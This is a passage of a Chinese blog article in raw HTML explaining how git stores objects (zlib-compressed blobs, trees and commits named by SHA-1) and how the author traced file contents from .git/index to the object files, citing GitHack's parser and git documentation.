normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">这个目录，但一看，全都是一些Hash命名的文件，根本不知道其对应关系:</span></p><p><br/></p><p><img data-ratio="0.3584392014519056" data-w="2204" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=954f3cfc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWelX0PF1e6jrxdToRhUj8huiarUm5hPlxdYiaLXU10sN6YcsVa3YEkiaPg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>并且这些文件都没办法看:</p><p><br/></p><p><img data-ratio="0.08759124087591241" data-w="1644" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=74e5cfc3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWy3YjsZVpBrLuaS0wnsLJ3ROOatwW4OY0uVZc89WWDJHAiaib4YXZwNoQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">查阅相关资料得知此类文件是将原文件内容经过</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">zlib</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">的</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">deflate</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">压缩后存储的(</span><a href="https://mirrors.edge.kernel.org/pub/software/scm/git/docs/user-manual.html#object-details" target="_blank">https://mirrors.edge.kernel.org/pub/software/scm/git/docs/user-manual.html#object-details</a><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">):<br/></span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"><br/></span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"><img data-ratio="0.05589519650655022" data-w="2290" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=cc811326&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWgAIUlicxaORKVPQ9le45mIcibZJculZnDA1FNZmpU2jQDCuU4CX1Qunw%2F640%3Fwx_fmt%3Dpng"/><br/></span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"><br/></span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">而使用</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">zlib</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">进行解压查看文件内容时是这样的:<br/></span></p><p><br/></p><p><img data-ratio="0.11865793780687398" data-w="2444" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=8b7cafc2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWk5Z10FXmqoROMWqnTYo8R1z25ibpdpJ5w3u6z1x8tbIu8TgoRQicxm4A%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">这个文件更像是记录了一个目录结构，而关于此就又需要查阅资料了，具体请看:</span><a href="https://git-scm.com/book/zh/v2/Git-%E5%86%85%E9%83%A8%E5%8E%9F%E7%90%86-Git-%E5%AF%B9%E8%B1%A1" target="_blank">https://git-scm.com/book/zh/v2/Git-%E5%86%85%E9%83%A8%E5%8E%9F%E7%90%86-Git-%E5%AF%B9%E8%B1%A1</a></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">git中的对象(<strong>对象对应文件</strong>)<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git/objects</code>包含了:</p><ol style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;" class="list-paddingleft-2"><li><p>SHA(所有用来表示项目历史信息的文件,是通过一个40个字符的（40-digit）“对象名”来索引的，<strong>解释了之前<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">refs/heads/master</code>的HASH内容</strong>)</p></li><li><p>Blob对象(用来存储文件的内容)</p></li><li><p>Tree对象(有一串bunch指向Blob对象或是其它Tree对象的指针，一般表示内容之间的目录层次关系)</p></li><li><p>Commit对象(指向一个Tree对象, 并且带有相关的描述信息)</p></li></ol><p><br/></p><p><img data-ratio="0.7151767151767152" data-w="962" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1f920e63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWwukicB1icdtxsh1RN7A82ogo5IpLl6Stcp81rhWCXOxhGnbiaDH8wO3lA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><span style="caret-color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;font-size: 14px;color: rgb(178, 178, 178);">注: 图片来自 git-scm.com</span></p><p><br/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">按照这个逻辑，我们需要先获取<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Commit</code>对象对应文件找到<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Tree</code>对象对应文件再通过其获得<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Blob</code>对象对应文件，最后解压即可获得源文件内容。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">那这些<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Commit</code>对象(文件名)都存储在哪里呢？通过之前使用<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Binwalk</code>分析，显而易见，在<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">.git/index</code>文件中。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">但是在这里</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">.git/index</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">文件无法直接查看，直接套用</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">GitHack</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">的(</span><a href="https://github.com/lijiejie/GitHack/blob/master/lib/parser.py" target="_blank">https://github.com/lijiejie/GitHack/blob/master/lib/parser.py</a><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">)解析代码就行:</span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><img data-ratio="0.20949720670391062" data-w="1432" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9ea82d6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWf65ksvlD5nmVP7vgpOky7GtHkth70LtIfWedufToJznv1pOGVjjobg%2F640%3Fwx_fmt%3Dpng"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">获得SHA1: </span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">a797b1973fd62dc34a691c7fe3bce33a504f2b74</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">，但是找了半天没找到这个对应文件，后来尝试搜索前几位和后几位，发现搜索到了后几位:</span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><img data-ratio="0.07379518072289157" data-w="1328" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=79444623&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWCVF1yZ3ZQqncPGEAwJyM44Vt1BX6ibYXoukJj0Eq5XK57pXVwAOWb5Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">对比发现文件名和获取的SHA1值少了2位:<br/></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><img data-ratio="0.17829457364341086" data-w="774" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=935ee2cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWYM72wktMPMILHsjA5sxwmicqHUE09Otbm3DlBegNnvORNAMb8XibmjJw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"><br/></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">搜索发现原来前两位是作为了目录名:<br/></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"><br/></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"><img data-ratio="0.14568345323741008" data-w="1112" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=11558e36&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWxdkJE2wWlDdNnkgicebxjBJB2hMCtcBhImLhu2NXNlDbHt2d5skyXWQ%2F640%3Fwx_fmt%3Dpng"/><br/></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 